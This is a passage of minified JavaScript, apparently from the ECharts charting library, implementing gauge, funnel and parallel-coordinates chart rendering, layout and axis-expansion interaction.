vB(e){e.registerChartView(pB),e.registerSeriesModel(mB),e.registerLayout(e.PRIORITY.VISUAL.POST_CHART_LAYOUT,gB),e.registerProcessor(Wj(`chord`))}var yB=function(){function e(){this.angle=0,this.width=10,this.r=10,this.x=0,this.y=0}return e}(),bB=function(e){N(t,e);function t(t){var n=e.call(this,t)||this;return n.type=`pointer`,n}return t.prototype.getDefaultShape=function(){return new yB},t.prototype.buildPath=function(e,t){var n=Math.cos,r=Math.sin,i=t.r,a=t.width,o=t.angle,s=t.x-n(o)*a*(a>=i/3?1:2),c=t.y-r(o)*a*(a>=i/3?1:2);o=t.angle-Math.PI/2,e.moveTo(s,c),e.lineTo(t.x+n(o)*a,t.y+r(o)*a),e.lineTo(t.x+n(t.angle)*i,t.y+r(t.angle)*i),e.lineTo(t.x-n(o)*a,t.y-r(o)*a),e.lineTo(s,c)},t}(Cu);function xB(e,t){var n=e.get(`center`),r=t.getWidth(),i=t.getHeight(),a=Math.min(r,i);return{cx:X(n[0],t.getWidth()),cy:X(n[1],t.getHeight()),r:X(e.get(`radius`),a/2)}}function SB(e,t){var n=e==null?``:e+``;return t&&(H(t)?n=t.replace(`{value}`,n):V(t)&&(n=t(e))),n}var CB=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(e,t,n){this.group.removeAll();var r=e.get([`axisLine`,`lineStyle`,`color`]),i=xB(e,n);this._renderMain(e,t,n,r,i),this._data=e.getData()},t.prototype.dispose=function(){},t.prototype._renderMain=function(e,t,n,r,i){var a=this.group,o=e.get(`clockwise`),s=-e.get(`startAngle`)/180*Math.PI,c=-e.get(`endAngle`)/180*Math.PI,l=e.getModel(`axisLine`),u=l.get(`roundCap`)?lj:tp,d=l.get(`show`),f=l.getModel(`lineStyle`),p=f.get(`width`),m=[s,c];Zl(m,!o),s=m[0],c=m[1];for(var h=c-s,g=s,_=[],v=0;d&&v<r.length;v++){var y=Math.min(Math.max(r[v][0],0),1);c=s+h*y;var b=new u({shape:{startAngle:g,endAngle:c,cx:i.cx,cy:i.cy,clockwise:o,r0:i.r-p,r:i.r},silent:!0});b.setStyle({fill:r[v][1]}),b.setStyle(f.getLineStyle([`color`,`width`])),_.push(b),g=c}_.reverse(),L(_,function(e){return a.add(e)});var x=function(e){if(e<=0)return r[0][1];var t;for(t=0;t<r.length;t++)if(r[t][0]>=e&&(t===0?0:r[t-1][0])<e)return r[t][1];return r[t-1][1]};this._renderTicks(e,t,n,x,i,s,c,o,p),this._renderTitleAndDetail(e,t,n,x,i),this._renderAnchor(e,i),this._renderPointer(e,t,n,x,i,s,c,o,p)},t.prototype._renderTicks=function(e,t,n,r,i,a,o,s,c){for(var l=this.group,u=i.cx,d=i.cy,f=i.r,p=+e.get(`min`),m=+e.get(`max`),h=e.getModel(`splitLine`),g=e.getModel(`axisTick`),_=e.getModel(`axisLabel`),v=e.get(`splitNumber`),y=g.get(`splitNumber`),b=X(h.get(`length`),f),x=X(g.get(`length`),f),S=a,C=(o-a)/v,w=C/y,T=h.getModel(`lineStyle`).getLineStyle(),E=g.getModel(`lineStyle`).getLineStyle(),D=h.get(`distance`),O,k,A=0;A<=v;A++){if(O=Math.cos(S),k=Math.sin(S),h.get(`show`)){var j=D?D+c:c,ee=new fp({shape:{x1:O*(f-j)+u,y1:k*(f-j)+d,x2:O*(f-b-j)+u,y2:k*(f-b-j)+d},style:T,silent:!0});T.stroke===`auto`&&ee.setStyle({stroke:r(A/v)}),l.add(ee)}if(_.get(`show`)){var j=_.get(`distance`)+D,te=SB(cs(A/v*(m-p)+p),_.get(`formatter`)),M=r(A/v),ne=O*(f-b-j)+u,re=k*(f-b-j)+d,ie=_.get(`rotate`),ae=0;ie===`radial`?(ae=-S+2*Math.PI,ae>Math.PI/2&&(ae+=Math.PI)):ie===`tangential`?ae=-S-Math.PI/2:ht(ie)&&(ae=ie*Math.PI/180),ae===0?l.add(new Hu({style:Bm(_,{text:te,x:ne,y:re,verticalAlign:k<-.8?`top`:k>.8?`bottom`:`middle`,align:O<-.4?`left`:O>.4?`right`:`center`},{inheritColor:M}),silent:!0})):l.add(new Hu({style:Bm(_,{text:te,x:ne,y:re,verticalAlign:`middle`,align:`center`},{inheritColor:M}),silent:!0,originX:ne,originY:re,rotation:ae}))}if(g.get(`show`)&&A!==v){var j=g.get(`distance`);j=j?j+c:c;for(var oe=0;oe<=y;oe++){O=Math.cos(S),k=Math.sin(S);var se=new fp({shape:{x1:O*(f-j)+u,y1:k*(f-j)+d,x2:O*(f-x-j)+u,y2:k*(f-x-j)+d},silent:!0,style:E});E.stroke===`auto`&&se.setStyle({stroke:r((A+oe/y)/v)}),l.add(se),S+=w}S-=w}else S+=C}},t.prototype._renderPointer=function(e,t,n,r,i,a,o,s,c){var l=this.group,u=this._data,d=this._progressEls,f=[],p=e.get([`pointer`,`show`]),m=e.getModel(`progress`),h=m.get(`show`),g=e.getData(),_=g.mapDimension(`value`),v=+e.get(`min`),y=+e.get(`max`),b=[v,y],x=[a,o];function S(t,n){var r=g.getItemModel(t).getModel(`pointer`),a=X(r.get(`width`),i.r),o=X(r.get(`length`),i.r),s=e.get([`pointer`,`icon`]),c=r.get(`offsetCenter`),l=X(c[0],i.r),u=X(c[1],i.r),d=r.get(`keepAspect`),f=s?Bx(s,l-a/2,u-o,a,o,null,d):new bB({shape:{angle:-Math.PI/2,width:a,r:o,x:l,y:u}});return f.rotation=-(n+Math.PI/2),f.x=i.cx,f.y=i.cy,f}function C(e,t){var n=m.get(`roundCap`)?lj:tp,r=m.get(`overlap`),o=r?m.get(`width`):c/g.count(),l=r?i.r-o:i.r-(e+1)*o,u=r?i.r:i.r-e*o,d=new n({shape:{startAngle:a,endAngle:t,cx:i.cx,cy:i.cy,clockwise:s,r0:l,r:u}});return r&&(d.z2=as(g.get(_,e),[v,y],[100,0],!0)),d}(h||p)&&(g.diff(u).add(function(t){var n=g.get(_,t);if(p){var r=S(t,a);Rp(r,{rotation:-((isNaN(+n)?x[0]:as(n,b,x,!0))+Math.PI/2)},e),l.add(r),g.setItemGraphicEl(t,r)}if(h){var i=C(t,a);Rp(i,{shape:{endAngle:as(n,b,x,m.get(`clip`))}},e),l.add(i),nd(e.seriesIndex,g.dataType,t,i),f[t]=i}}).update(function(t,n){var r=g.get(_,t);if(p){var i=u.getItemGraphicEl(n),o=i?i.rotation:a,s=S(t,o);s.rotation=o,Lp(s,{rotation:-((isNaN(+r)?x[0]:as(r,b,x,!0))+Math.PI/2)},e),l.add(s),g.setItemGraphicEl(t,s)}if(h){var c=d[n],v=C(t,c?c.shape.endAngle:a);Lp(v,{shape:{endAngle:as(r,b,x,m.get(`clip`))}},e),l.add(v),nd(e.seriesIndex,g.dataType,t,v),f[t]=v}}).execute(),g.each(function(e){var t=g.getItemModel(e),n=t.getModel(`emphasis`),i=n.get(`focus`),a=n.get(`blurScope`),o=n.get(`disabled`);if(p){var s=g.getItemGraphicEl(e),c=g.getItemVisual(e,`style`),l=c.fill;if(s instanceof ku){var u=s.style;s.useStyle(F({image:u.image,x:u.x,y:u.y,width:u.width,height:u.height},c))}else s.useStyle(c),s.type!==`pointer`&&s.setColor(l);s.setStyle(t.getModel([`pointer`,`itemStyle`]).getItemStyle()),s.style.fill===`auto`&&s.setStyle(`fill`,r(as(g.get(_,e),b,[0,1],!0))),s.z2EmphasisLift=0,rf(s,t),$d(s,i,a,o)}if(h){var d=f[e];d.useStyle(g.getItemVisual(e,`style`)),d.setStyle(t.getModel([`progress`,`itemStyle`]).getItemStyle()),d.z2EmphasisLift=0,rf(d,t),$d(d,i,a,o)}}),this._progressEls=f)},t.prototype._renderAnchor=function(e,t){var n=e.getModel(`anchor`);if(n.get(`show`)){var r=n.get(`size`),i=n.get(`icon`),a=n.get(`offsetCenter`),o=n.get(`keepAspect`),s=Bx(i,t.cx-r/2+X(a[0],t.r),t.cy-r/2+X(a[1],t.r),r,r,null,o);s.z2=+!!n.get(`showAbove`),s.setStyle(n.getModel(`itemStyle`).getItemStyle()),this.group.add(s)}},t.prototype._renderTitleAndDetail=function(e,t,n,r,i){var a=this,o=e.getData(),s=o.mapDimension(`value`),c=+e.get(`min`),l=+e.get(`max`),u=new Y,d=[],f=[],p=e.isAnimationEnabled(),m=e.get([`pointer`,`showAbove`]);o.diff(this._data).add(function(e){d[e]=new Hu({silent:!0}),f[e]=new Hu({silent:!0})}).update(function(e,t){d[e]=a._titleEls[t],f[e]=a._detailEls[t]}).execute(),o.each(function(t){var n=o.getItemModel(t),a=o.get(s,t),h=new Y,g=r(as(a,[c,l],[0,1],!0)),_=n.getModel(`title`);if(_.get(`show`)){var v=_.get(`offsetCenter`),y=i.cx+X(v[0],i.r),b=i.cy+X(v[1],i.r),x=d[t];x.attr({z2:m?0:2,style:Bm(_,{x:y,y:b,text:o.getName(t),align:`center`,verticalAlign:`middle`},{inheritColor:g})}),h.add(x)}var S=n.getModel(`detail`);if(S.get(`show`)){var C=S.get(`offsetCenter`),w=i.cx+X(C[0],i.r),T=i.cy+X(C[1],i.r),E=X(S.get(`width`),i.r),D=X(S.get(`height`),i.r),O=e.get([`progress`,`show`])?o.getItemVisual(t,`style`).fill:g,x=f[t],k=S.get(`formatter`);x.attr({z2:m?0:2,style:Bm(S,{x:w,y:T,text:SB(a,k),width:isNaN(E)?null:E,height:isNaN(D)?null:D,align:`center`,verticalAlign:`middle`},{inheritColor:O})}),Xm(x,{normal:S},a,function(e){return SB(e,k)}),p&&Zm(x,t,o,e,{getFormattedLabel:function(e,t,n,r,i,o){return SB(o?o.interpolatedValue:a,k)}}),h.add(x)}u.add(h)}),this.group.add(u),this._titleEls=d,this._detailEls=f},t.type=`gauge`,t}(Ab),wB=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.visualStyleAccessPath=`itemStyle`,n}return t.prototype.getInitialData=function(e,t){return nM(this,[`value`])},t.type=`series.gauge`,t.defaultOption={z:2,colorBy:`data`,center:[`50%`,`50%`],legendHoverLink:!0,radius:`75%`,startAngle:225,endAngle:-45,clockwise:!0,min:0,max:100,splitNumber:10,axisLine:{show:!0,roundCap:!1,lineStyle:{color:[[1,Q.color.neutral10]],width:10}},progress:{show:!1,overlap:!0,width:10,roundCap:!1,clip:!0},splitLine:{show:!0,length:10,distance:10,lineStyle:{color:Q.color.axisTick,width:3,type:`solid`}},axisTick:{show:!0,splitNumber:5,length:6,distance:10,lineStyle:{color:Q.color.axisTickMinor,width:1,type:`solid`}},axisLabel:{show:!0,distance:15,color:Q.color.axisLabel,fontSize:12,rotate:0},pointer:{icon:null,offsetCenter:[0,0],show:!0,showAbove:!0,length:`60%`,width:6,keepAspect:!1},anchor:{show:!1,showAbove:!1,size:6,icon:`circle`,offsetCenter:[0,0],keepAspect:!1,itemStyle:{color:Q.color.neutral00,borderWidth:0,borderColor:Q.color.theme[0]}},title:{show:!0,offsetCenter:[0,`20%`],color:Q.color.secondary,fontSize:16,valueAnimation:!1},detail:{show:!0,backgroundColor:Q.color.transparent,borderWidth:0,borderColor:Q.color.neutral40,width:100,height:null,padding:[5,10],offsetCenter:[0,`40%`],color:Q.color.primary,fontSize:30,fontWeight:`bold`,lineHeight:30,valueAnimation:!1}},t}(_b);function TB(e){e.registerChartView(CB),e.registerSeriesModel(wB)}var EB=[`itemStyle`,`opacity`],DB=function(e){N(t,e);function t(t,n){var r=e.call(this)||this,i=r,a=new lp,o=new Hu;return i.setTextContent(o),r.setTextGuideLine(a),r.updateData(t,n,!0),r}return t.prototype.updateData=function(e,t,n){var r=this,i=e.hostModel,a=e.getItemModel(t),o=e.getItemLayout(t),s=a.getModel(`emphasis`),c=a.get(EB);c??=1,n||Up(r),r.useStyle(e.getItemVisual(t,`style`)),r.style.lineJoin=`round`,n?(r.setShape({points:o.points}),r.style.opacity=0,Rp(r,{style:{opacity:c}},i,t)):Lp(r,{style:{opacity:c},shape:{points:o.points}},i,t),rf(r,a),this._updateLabel(e,t),$d(this,s.get(`focus`),s.get(`blurScope`),s.get(`disabled`))},t.prototype._updateLabel=function(e,t){var n=this,r=this.getTextGuideLine(),i=n.getTextContent(),a=e.hostModel,o=e.getItemModel(t),s=e.getItemLayout(t).label,c=e.getItemVisual(t,`style`),l=c.fill;Rm(i,zm(o),{labelFetcher:e.hostModel,labelDataIndex:t,defaultOpacity:c.opacity,defaultText:e.getName(t)},{normal:{align:s.textAlign,verticalAlign:s.verticalAlign}});var u=o.getModel(`label`).get(`color`)===`inherit`?l:null;n.setTextConfig({local:!0,inside:!!s.inside,insideStroke:u,outsideFill:u});var d=s.linePoints;r.setShape({points:d}),n.textGuideLineConfig={anchor:d?new q(d[0][0],d[0][1]):null},Lp(i,{style:{x:s.x,y:s.y}},a,t),i.attr({rotation:s.rotation,originX:s.x,originY:s.y,z2:10}),qD(n,JD(o),{stroke:l})},t}(sp),OB=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.ignoreLabelLineUpdate=!0,n}return t.prototype.render=function(e,t,n){var r=e.getData(),i=this._data,a=this.group;r.diff(i).add(function(e){var t=new DB(r,e);r.setItemGraphicEl(e,t),a.add(t)}).update(function(e,t){var n=i.getItemGraphicEl(t);n.updateData(r,e),a.add(n),r.setItemGraphicEl(e,n)}).remove(function(t){Hp(i.getItemGraphicEl(t),e,t)}).execute(),this._data=r},t.prototype.remove=function(){this.group.removeAll(),this._data=null},t.prototype.dispose=function(){},t.type=`funnel`,t}(Ab),kB=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.init=function(t){e.prototype.init.apply(this,arguments),this.legendVisualProvider=new rM(z(this.getData,this),z(this.getRawData,this)),this._defaultLabelLine(t)},t.prototype.getInitialData=function(e,t){return nM(this,{coordDimensions:[`value`],encodeDefaulter:pt(S_,this)})},t.prototype._defaultLabelLine=function(e){zs(e,`labelLine`,[`show`]);var t=e.labelLine,n=e.emphasis.labelLine;t.show=t.show&&e.label.show,n.show=n.show&&e.emphasis.label.show},t.prototype.getDataParams=function(t){var n=this.getData(),r=e.prototype.getDataParams.call(this,t),i=n.mapDimension(`value`),a=n.getSum(i);return r.percent=a?+(n.get(i,t)/a*100).toFixed(2):0,r.$vars.push(`percent`),r},t.type=`series.funnel`,t.defaultOption={coordinateSystemUsage:`box`,z:2,legendHoverLink:!0,colorBy:`data`,left:80,top:60,right:80,bottom:65,minSize:`0%`,maxSize:`100%`,sort:`descending`,orient:`vertical`,gap:0,funnelAlign:`center`,label:{show:!0,position:`outer`},labelLine:{show:!0,length:20,lineStyle:{width:1}},itemStyle:{borderColor:Q.color.neutral00,borderWidth:1},emphasis:{label:{show:!0}},select:{itemStyle:{borderColor:Q.color.primary}}},t}(_b);function AB(e,t){for(var n=e.mapDimension(`value`),r=e.mapArray(n,function(e){return e}),i=[],a=t===`ascending`,o=0,s=e.count();o<s;o++)i[o]=o;return V(t)?i.sort(t):t!==`none`&&i.sort(function(e,t){return a?r[e]-r[t]:r[t]-r[e]}),i}function jB(e){var t=e.hostModel.get(`orient`);e.each(function(n){var r=e.getItemModel(n),i=r.getModel(`label`).get(`position`),a=r.getModel(`labelLine`),o=e.getItemLayout(n),s=o.points,c=i===`inner`||i===`inside`||i===`center`||i===`insideLeft`||i===`insideRight`,l,u,d,f;if(c)i===`insideLeft`?(u=(s[0][0]+s[3][0])/2+5,d=(s[0][1]+s[3][1])/2,l=`left`):i===`insideRight`?(u=(s[1][0]+s[2][0])/2-5,d=(s[1][1]+s[2][1])/2,l=`right`):(u=(s[0][0]+s[1][0]+s[2][0]+s[3][0])/4,d=(s[0][1]+s[1][1]+s[2][1]+s[3][1])/4,l=`center`),f=[[u,d],[u,d]];else{var p=void 0,m=void 0,h=void 0,g=void 0,_=a.get(`length`);i===`left`?(p=(s[3][0]+s[0][0])/2,m=(s[3][1]+s[0][1])/2,h=p-_,u=h-5,l=`right`):i===`right`?(p=(s[1][0]+s[2][0])/2,m=(s[1][1]+s[2][1])/2,h=p+_,u=h+5,l=`left`):i===`top`?(p=(s[3][0]+s[0][0])/2,m=(s[3][1]+s[0][1])/2,g=m-_,d=g-5,l=`center`):i===`bottom`?(p=(s[1][0]+s[2][0])/2,m=(s[1][1]+s[2][1])/2,g=m+_,d=g+5,l=`center`):i===`rightTop`?(p=t===`horizontal`?s[3][0]:s[1][0],m=t===`horizontal`?s[3][1]:s[1][1],t===`horizontal`?(g=m-_,d=g-5,l=`center`):(h=p+_,u=h+5,l=`top`)):i===`rightBottom`?(p=s[2][0],m=s[2][1],t===`horizontal`?(g=m+_,d=g+5,l=`center`):(h=p+_,u=h+5,l=`bottom`)):i===`leftTop`?(p=s[0][0],m=t===`horizontal`?s[0][1]:s[1][1],t===`horizontal`?(g=m-_,d=g-5,l=`center`):(h=p-_,u=h-5,l=`right`)):i===`leftBottom`?(p=t===`horizontal`?s[1][0]:s[3][0],m=t===`horizontal`?s[1][1]:s[2][1],t===`horizontal`?(g=m+_,d=g+5,l=`center`):(h=p-_,u=h-5,l=`right`)):(p=(s[1][0]+s[2][0])/2,m=(s[1][1]+s[2][1])/2,t===`horizontal`?(g=m+_,d=g+5,l=`center`):(h=p+_,u=h+5,l=`left`)),t===`horizontal`?(h=p,u=h):(g=m,d=g),f=[[p,m],[h,g]]}o.label={linePoints:f,x:u,y:d,verticalAlign:`middle`,textAlign:l,inside:c}})}function MB(e,t){e.eachSeriesByType(`funnel`,function(e){var n=e.getData(),r=n.mapDimension(`value`),i=e.get(`sort`),a=Kg(e,t),o=Ug(e.getBoxLayoutParams(),a.refContainer),s=e.get(`orient`),c=o.width,l=o.height,u=AB(n,i),d=o.x,f=o.y,p=s===`horizontal`?[X(e.get(`minSize`),l),X(e.get(`maxSize`),l)]:[X(e.get(`minSize`),c),X(e.get(`maxSize`),c)],m=n.getDataExtent(r),h=e.get(`min`),g=e.get(`max`);h??=Math.min(m[0],0),g??=m[1];var _=e.get(`funnelAlign`),v=e.get(`gap`),y=((s===`horizontal`?c:l)-v*(n.count()-1))/n.count(),b=function(e,t){if(s===`horizontal`){var i=as(n.get(r,e)||0,[h,g],p,!0),a=void 0;switch(_){case`top`:a=f;break;case`center`:a=f+(l-i)/2;break;case`bottom`:a=f+(l-i);break}return[[t,a],[t,a+i]]}var o=as(n.get(r,e)||0,[h,g],p,!0),u;switch(_){case`left`:u=d;break;case`center`:u=d+(c-o)/2;break;case`right`:u=d+c-o;break}return[[u,t],[u+o,t]]};i===`ascending`&&(y=-y,v=-v,s===`horizontal`?d+=c:f+=l,u=u.reverse());for(var x=0;x<u.length;x++){var S=u[x],C=u[x+1],w=n.getItemModel(S);if(s===`horizontal`){var T=w.get([`itemStyle`,`width`]);T==null?T=y:(T=X(T,c),i===`ascending`&&(T=-T));var E=b(S,d),D=b(C,d+T);d+=T+v,n.setItemLayout(S,{points:E.concat(D.slice().reverse())})}else{var O=w.get([`itemStyle`,`height`]);O==null?O=y:(O=X(O,l),i===`ascending`&&(O=-O));var E=b(S,f),D=b(C,f+O);f+=O+v,n.setItemLayout(S,{points:E.concat(D.slice().reverse())})}}jB(n)})}function NB(e){e.registerChartView(OB),e.registerSeriesModel(kB),e.registerLayout(MB),e.registerProcessor(Wj(`funnel`))}var PB=.3,FB=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n._dataGroup=new Y,n._initialized=!1,n}return t.prototype.init=function(){this.group.add(this._dataGroup)},t.prototype.render=function(e,t,n,r){this._progressiveEls=null;var i=this._dataGroup,a=e.getData(),o=this._data,s=e.coordinateSystem,c=s.dimensions,l=zB(e);a.diff(o).add(u).update(d).remove(f).execute();function u(e){BB(RB(a,i,e,c,s),a,e,l)}function d(t,n){var r=o.getItemGraphicEl(n),i=LB(a,t,c,s);a.setItemGraphicEl(t,r),Lp(r,{shape:{points:i}},e,t),Up(r),BB(r,a,t,l)}function f(e){var t=o.getItemGraphicEl(e);i.remove(t)}if(!this._initialized){this._initialized=!0;var p=IB(s,e,function(){setTimeout(function(){i.removeClipPath()})});i.setClipPath(p)}this._data=a},t.prototype.incrementalPrepareRender=function(e,t,n){this._initialized=!0,this._data=null,this._dataGroup.removeAll()},t.prototype.incrementalRender=function(e,t,n){for(var r=t.getData(),i=t.coordinateSystem,a=i.dimensions,o=zB(t),s=this._progressiveEls=[],c=e.start;c<e.end;c++){var l=RB(r,this._dataGroup,c,a,i);l.incremental=!0,BB(l,r,c,o),s.push(l)}},t.prototype.remove=function(){this._dataGroup&&this._dataGroup.removeAll(),this._data=null},t.type=`parallel`,t}(Ab);function IB(e,t,n){var r=e.model,i=e.getRect(),a=new Lu({shape:{x:i.x,y:i.y,width:i.width,height:i.height}}),o=r.get(`layout`)===`horizontal`?`width`:`height`;return a.setShape(o,0),Rp(a,{shape:{width:i.width,height:i.height}},t,n),a}function LB(e,t,n,r){for(var i=[],a=0;a<n.length;a++){var o=n[a],s=e.get(e.mapDimension(o),t);VB(s,r.getAxis(o).type)||i.push(r.dataToPoint(s,o))}return i}function RB(e,t,n,r,i){var a=new lp({shape:{points:LB(e,n,r,i)},z2:10});return t.add(a),e.setItemGraphicEl(n,a),a}function zB(e){var t=e.get(`smooth`,!0);return t===!0&&(t=PB),t=ws(t),St(t)&&(t=0),{smooth:t}}function BB(e,t,n,r){e.useStyle(t.getItemVisual(n,`style`)),e.style.fill=null,e.setShape(`smooth`,r.smooth);var i=t.getItemModel(n),a=i.getModel(`emphasis`);rf(e,i,`lineStyle`),$d(e,a.get(`focus`),a.get(`blurScope`),a.get(`disabled`))}function VB(e,t){return t===`category`?e==null:e==null||isNaN(e)}var HB=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.visualStyleAccessPath=`lineStyle`,n.visualDrawType=`stroke`,n}return t.prototype.getInitialData=function(e,t){return fT(null,this,{useEncodeDefaulter:z(UB,null,this)})},t.prototype.getRawIndicesByActiveState=function(e){var t=this.coordinateSystem,n=this.getData(),r=[];return t.eachActiveState(n,function(t,i){e===t&&r.push(n.getRawIndex(i))}),r},t.type=`series.parallel`,t.dependencies=[`parallel`],t.defaultOption={z:2,coordinateSystem:`parallel`,parallelIndex:0,label:{show:!1},inactiveOpacity:.05,activeOpacity:1,lineStyle:{width:1,opacity:.45,type:`solid`},emphasis:{label:{show:!1}},progressive:500,smooth:!1,animationEasing:`linear`},t}(_b);function UB(e){var t=e.ecModel.getComponent(`parallel`,e.get(`parallelIndex`));if(t){var n={};return L(t.dimensions,function(e){n[e]=WB(e)}),n}}function WB(e){return+e.replace(`dim`,``)}var GB=[`lineStyle`,`opacity`],KB={seriesType:`parallel`,reset:function(e,t){var n=e.coordinateSystem,r={normal:e.get([`lineStyle`,`opacity`]),active:e.get(`activeOpacity`),inactive:e.get(`inactiveOpacity`)};return{progress:function(e,t){n.eachActiveState(t,function(e,n){var i=r[e];if(e===`normal`&&t.hasItemOption){var a=t.getItemModel(n).get(GB,!0);a!=null&&(i=a)}var o=t.ensureUniqueItemVisual(n,`style`);o.opacity=i},e.start,e.end)}}}};function qB(e){JB(e),YB(e)}function JB(e){if(!e.parallel){var t=!1;L(e.series,function(e){e&&e.type===`parallel`&&(t=!0)}),t&&(e.parallel=[{}])}}function YB(e){L(Rs(e.parallelAxis),function(t){if(U(t)){var n=t.parallelIndex||0,r=Rs(e.parallel)[n];r&&r.parallelAxisDefault&&nt(t,r.parallelAxisDefault,!1)}})}var XB=5,ZB=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(e,t,n){this._model=e,this._api=n,this._handlers||(this._handlers={},L(QB,function(e,t){n.getZr().on(t,this._handlers[t]=z(e,this))},this)),Bb(this,`_throttledDispatchExpand`,e.get(`axisExpandRate`),`fixRate`)},t.prototype.dispose=function(e,t){Vb(this,`_throttledDispatchExpand`),L(this._handlers,function(e,n){t.getZr().off(n,e)}),this._handlers=null},t.prototype._throttledDispatchExpand=function(e){this._dispatchExpand(e)},t.prototype._dispatchExpand=function(e){e&&this._api.dispatchAction(F({type:`parallelAxisExpand`},e))},t.type=`parallel`,t}(Eb),QB={mousedown:function(e){$B(this,`click`)&&(this._mouseDownPoint=[e.offsetX,e.offsetY])},mouseup:function(e){var t=this._mouseDownPoint;if($B(this,`click`)&&t){var n=[e.offsetX,e.offsetY];if((t[0]-n[0])**2+(t[1]-n[1])**2>XB)return;var r=this._model.coordinateSystem.getSlidedAxisExpandWindow([e.offsetX,e.offsetY]);r.behavior!==`none`&&this._dispatchExpand({axisExpandWindow:r.axisExpandWindow})}this._mouseDownPoint=null},mousemove:function(e){if(!(this._mouseDownPoint||!$B(this,`mousemove`))){var t=this._model,n=t.coordinateSystem.getSlidedAxisExpandWindow([e.offsetX,e.offsetY]),r=n.behavior;r===`jump`&&this._throttledDispatchExpand.debounceNextCall(t.get(`axisExpandDebounce`)),this._throttledDispatchExpand(r===`none`?null:{axisExpandWindow:n.axisExpandWindow,animation:r===`jump`?null:{duration:0}})}}};function $B(e,t){var n=e._model;return n.get(`axisExpandable`)&&n.get(`axisExpandTriggerOn`)===t}var eV=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.init=function(){e.prototype.init.apply(this,arguments),this.mergeOption({})},t.prototype.mergeOption=function(e){var t=this.option;e&&nt(t,e,!0),this._initDimensions()},t.prototype.contains=function(e,t){var n=e.get(`parallelIndex`);return n!=null&&t.getComponent(`parallel`,n)===this},t.prototype.setAxisExpand=function(e){L([`axisExpandable`,`axisExpandCenter`,`axisExpandCount`,`axisExpandWidth`,`axisExpandWindow`],function(t){e.hasOwnProperty(t)&&(this.option[t]=e[t])},this)},t.prototype._initDimensions=function(){var e=this.dimensions=[],t=this.parallelAxisIndex=[];L(lt(this.ecModel.queryComponents({mainType:`parallelAxis`}),function(e){return(e.get(`parallelIndex`)||0)===this.componentIndex},this),function(n){e.push(`dim`+n.get(`dim`)),t.push(n.componentIndex)})},t.type=`parallel`,t.dependencies=[`parallelAxis`],t.layoutMode=`box`,t.defaultOption={z:0,left:80,top:60,right:80,bottom:60,layout:`horizontal`,axisExpandable:!1,axisExpandCenter:null,axisExpandCount:0,axisExpandWidth:50,axisExpandRate:17,axisExpandDebounce:50,axisExpandSlideTriggerArea:[-.15,.05,.4],axisExpandTriggerOn:`click`,parallelAxisDefault:null},t}(e_),tV=function(e){N(t,e);function t(t,n,r,i,a){var o=e.call(this,t,n,r)||this;return o.type=i||`value`,o.axisIndex=a,o}return t.prototype.isHorizontal=function(){return this.coordinateSystem.getModel().get(`layout`)!==`horizontal`},t}(SD);function nV(e,t,n,r,i,a){e||=0;var o=n[1]-n[0];if(i!=null&&(i=iV(i,[0,o])),a!=null&&(a=Math.max(a,i??0)),r===`all`){var s=Math.abs(t[1]-t[0]);s=iV(s,[0,o]),i=a=iV(s,[i,a]),r=0}t[0]=iV(t[0],n),t[1]=iV(t[1],n);var c=rV(t,r);t[r]+=e;var l=i||0,u=n.slice();c.sign<0?u[0]+=l:u[1]-=l,t[r]=iV(t[r],u);var d=rV(t,r);return i!=null&&(d.sign!==c.sign||d.span<i)&&(t[1-r]=t[r]+c.sign*i),d=rV(t,r),a!=null&&d.span>a&&(t[1-r]=t[r]+d.sign*a),t}function rV(e,t){var n=e[t]-e[1-t];return{span:Math.abs(n),sign:n>0?-1:n<0?1:t?-1:1}}function iV(e,t){return Math.min(t[1]==null?1/0:t[1],Math.max(t[0]==null?-1/0:t[0],e))}var aV=L,oV=Math.min,sV=Math.max,cV=Math.floor,lV=Math.ceil,uV=cs,dV=Math.PI,fV=function(){function e(e,t,n){this.type=`parallel`,this._axesMap=G(),this._axesLayout={},this.dimensions=e.dimensions,this._model=e,this._init(e,t,n)}return e.prototype._init=function(e,t,n){var r=e.dimensions,i=e.parallelAxisIndex;aV(r,function(e,n){var r=i[n],a=t.getComponent(`parallelAxis`,r),o=this._axesMap.set(e,new tV(e,CE(a),[0,0],a.get(`type`),r));o.onBand=o.type===`category`&&a.get(`boundaryGap`),o.inverse=a.get(`inverse`),a.axis=o,o.model=a,o.coordinateSystem=a.coordinateSystem=this},this)},e.prototype.update=function(e,t){this._updateAxesFromSeries(this._model,e)},e.prototype.containPoint=function(e){var t=this._makeLayoutInfo(),n=t.axisBase,r=t.layoutBase,i=t.pixelDimIndex,a=e[1-i],o=e[i];return a>=n&&a<=n+t.axisLength&&o>=r&&o<=r+t.layoutLength},e.prototype.getModel=function(){return this._model},e.prototype._updateAxesFromSeries=function(e,t){t.eachSeries(function(n){if(e.contains(n,t)){var r=n.getData();aV(this.dimensions,function(e){var t=this._axesMap.get(e);t.scale.unionExtentFromData(r,r.mapDimension(e)),SE(t.scale,t.model)},this)}},this)},e.prototype.resize=function(e,t){var n=Kg(e,t).refContainer;this._rect=Ug(e.getBoxLayoutParams(),n),this._layoutAxes()},e.prototype.getRect=function(){return this._rect},e.prototype._makeLayoutInfo=function(){var e=this._model,t=this._rect,n=[`x`,`y`],r=[`width`,`height`],i=e.get(`layout`),a=i===`horizontal`?0:1,o=t[r[a]],s=[0,o],c=this.dimensions.length,l=pV(e.get(`axisExpandWidth`),s),u=pV(e.get(`axisExpandCount`)||0,[0,c]),d=e.get(`axisExpandable`)&&c>3&&c>u&&u>1&&l>0&&o>0,f=e.get(`axisExpandWindow`),p;f?(p=pV(f[1]-f[0],s),f[1]=f[0]+p):(p=pV(l*(u-1),s),f=[l*(e.get(`axisExpandCenter`)||cV(c/2))-p/2],f[1]=f[0]+p);var m=(o-p)/(c-u);m<3&&(m=0);var 